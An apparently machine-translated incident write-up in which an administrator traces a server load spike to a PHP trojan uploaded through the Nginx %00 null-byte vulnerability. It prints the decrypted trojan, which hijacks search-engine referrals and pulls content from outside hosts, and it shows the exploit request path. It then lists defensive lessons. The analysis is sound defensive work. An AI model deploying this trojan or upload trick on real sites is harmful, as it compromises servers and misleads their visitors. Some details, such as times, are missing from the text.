Intrusion events caused by Nginx Vulnerabilities

Guidance:

The server suddenly received a 50% higher load than usual. After a long analysis, it was found that hackers used a nginx vulnerability to upload images containing code, and then called the image to use post to pass in the code, generate a php executable file containing promotional link Code. The Code needs to be decrypted multiple times during calling, which directly leads to increased load.
 

Cause:

This morning, I came to the company and opened the cacti monitoring system to check the running status of the server. I suddenly found that the load on the two website servers was 50% higher than normal, this is mainly from the CPU usage and server load values.

 

Troubleshooting:

So I quickly log on to the server and run the top command to check whether some php-fpm processes instantly occupy a large amount of CPU, which is strange, at ordinary times, the php-fpm processes seldom occupy more than 2% of the CPU. How can they reach 100% today? So I quickly asked my O & M colleagues if a program was released to the official environment yesterday. My colleague replied that the release time was around. According to cacti, we found that the load was increased around a.m.. Therefore, we can preliminarily confirm that there is no direct relationship between the release and load increase.

 

So what causes the server load to suddenly increase so much? With this question, I started to use some command line tools in linux to troubleshoot the problem as follows:

First, check whether a file is opened by the process and find the pid of the process. cat/proc/pid/fd does not find any files opened, then, the strace-p pid is used to track the php-fpm processes with high cpu usage. It is also difficult to find the problem because the processes with high CPU usage do not always occupy high CPU usage, but are instantly occupied, so it is difficult to track. Then run the lsof command to check the CPU-consuming pid and lsof-p pid. All the paths are directed to the bbs root directory. Therefore, it is preliminarily determined that the bbs root directory must have a flaw.

At present, we can determine that the bbs root directory has a direct connection with this high load. How can we find the connection? My idea is to find out what is caused by the php file, that is, when the php-fpm process calls the php file, the load suddenly increases? I have consulted several experts and I don't know. I haven't found a proper answer after searching for the Internet for a long time. I suddenly remembered that a similar Trojan event occurred some time ago, which also led to a high server load, the last Trojan event was caused by a nginx File Upload Vulnerability. to prevent such incidents, a script dedicated to detecting PHP files has been written in the form of md5 for the files, if the md5 value of the current file does not match that of the original file, a text message and an email alert will be sent. At the same time, the post log on nginx is enabled to record the content of the post operation performed by the user. It seems that I was suddenly inspired. I quickly ran the file detection script and found a forums. php exception. The file does not exist on the server. to hide its link, attackers have encrypted the code in the file for more than 30 times, the following content is found after the file is decrypted with the assistance of a development colleague:

<?phperror_reporting(E_ERROR);$domain=$_SERVER['SERVER_NAME'];$dddd = $_SERVER['PHP_SELF'];$qqqq=$_SERVER["QUERY_STRING"];$filename = end(explode('/',$dddd));if(stristr($_SERVER['HTTP_REFERER'],'baidu.com/'))Header("Location: http://jump.1310.net/jump.php?".$_SERVER['HTTP_REFERER']);else if(stristr($_SERVER['HTTP_REFERER'],'google.com.hk/search?'))Header("Location: http://jump.1310.net/jump.php?".$_SERVER['HTTP_REFERER']);else if(stristr($_SERVER['HTTP_REFERER'],'soso.com/q?'))Header("Location: http://jump.1310.net/jump.php?".$_SERVER['HTTP_REFERER']);else{if($qqqq==""){$a="http://".$domain.$_SERVER['PHP_SELF'];$show = file_get_contents('http://localtemp.665203.com/server.php?gid='.rand(1,20000).'&domain='.$domain.'&filename='.$filename.'&url='.$a);echo $show;}else{$qqqq=str_replace('&',"",$qqqq);$a="http://".$domain.$_SERVER['PHP_SELF']."?gid=".$qqqq;$show=file_get_contents('http://localtemp.665203.com/server.php?gid='.$qqqq."&domain=".$domain.'&filename='.$filename.'&url='.$a);echo $show;}}?>

Obviously, the server is infected. After the file is backed up and deleted, the server load immediately drops. It seems that this file is the culprit. Now that we know it is caused by this file, how does this file be uploaded? How can we avoid another trojan attack? Next, let's take a detailed analysis of the vulnerability that caused this trojan event and how can we prevent it?

 

Analysis:
The modification time of the Trojan file is a.m., so the File Upload time may be a.m, check the server webpage log file and discover the clues of the attack. The log shows that the user uploads the Avatar, which contains php code, then, the Nginx % 00 NULL byte is used to execute arbitrary code (php) vulnerability through POST/ucenter/data/tmp/upload545562.jpg % 00. in php mode, the code is written to the root directory of the forum. This vulnerability is found at http://sebug.net/vuldb/ssvid-20898. nginxnginx 0. 5. * nginx 0. 6. * nginx 0.7 <= 0.7.65, and nginx 0.8 <= 0.8.37 all have this vulnerability. You only need to upgrade the version to 0.8.37 or later, so we will immediately upgrade nginx to version 1.0.12 to solve the problem!

 

Lessons learned:
Through this trojan event, I have a few lessons to share with you: I am actively paying attention to server-related security vulnerabilities. The Nginx % 00 vulnerability came out, if you pay attention to it timely, the trojan time can be completely avoided. Regularly perform md5 verification on all program files. When inconsistency occurs, check the code file to quickly detect signs of code file change and reduce losses. Strictly control server permissions. If the root directory of the forum cannot be written, this attack can also be avoided. Strengthen monitoring, pay attention to the running status of servers every day, keep sensitive to sudden server exceptions, and immediately start troubleshooting. Therefore, the security of web servers will be enhanced from these three aspects in the future.